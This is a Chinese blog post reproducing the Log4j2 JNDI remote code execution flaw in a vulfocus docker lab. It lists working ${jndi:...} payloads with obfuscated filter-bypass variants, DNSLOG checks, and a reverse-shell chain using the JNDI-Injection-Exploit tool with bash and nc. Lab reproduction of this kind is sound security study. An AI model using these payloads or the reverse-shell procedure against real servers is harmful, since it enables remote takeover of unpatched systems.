Log4j远程代码执行漏洞复现

0x01 漏洞描述

log4j远程代码执行已经爆出好几天了,因为种种原因一直没有跟上时间进行发表文章,抽出一点时间复现一下这个漏洞

0x02 时间点

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。

0x03 漏洞环境搭建

1.我这里使用的是vulfocus提供的docker环境,只需要在拥有docker的环境中运行
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest命令就可以了
2.运行好之后使用docker ps查看已经运行的容器,确定容器启动成功。

3.可以看到,他吧容器中的8080端口映射到了虚拟机的32768端口中,我们尝试直接访问虚拟机32768端口,成功(如果虚拟机docker启动成功物理机访问失败可能是防火墙的问题哦)。

0x04 payload

${jndi:ldap://dnslog.cn}

bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

0x05 漏洞验证

vulfocus给我们提供的环境是/hello请求中传递的payload参数,我们只需要尝试在提交的payload参数中添加我们要插入的payload就好了
1、使用DNSLOG进行验证,可以看到,我们使用dnslog可以直接进行测试漏洞是否存在

2、随便尝试两个bypass,都是可以的

${${::-j}ndi:rmi://qrdxrs.dnslog.cn/ass}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://r0x0ob.dnslog.cn/poc}

0x06 执行命令

工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
源码地址:https://github.com/welk1n/JNDI-Injection-Exploit
jar文件地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases
1.本地启动恶意jndi注入代码

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "需要执行的命令" -A "监听的IP地址,0.0.0.0表示全部"

我这里就直接使用bash + nc进行shell的反弹和接收了。

2.服务器端开启命令对应的NC监听

3.在网页中请求中payload参数为jndi注入的地址
可以根据被攻击目标的JDK版本选择不同的恶意类(不确定的化可通过fuzz进行尝试),我这里使用的是第一个rmi://0.0.0.0:1099/5z0peo

4.发起攻击请求,jndi工具记录了JNDI远程加载日志

payload=${jndi:rmi://192.168.146.1:1099/5z0peo}


5.服务器NC接收到bash反弹shell

posted @ 2021-12-23 23:03  追得上的梦想  阅读(3201)  评论(0编辑  收藏  举报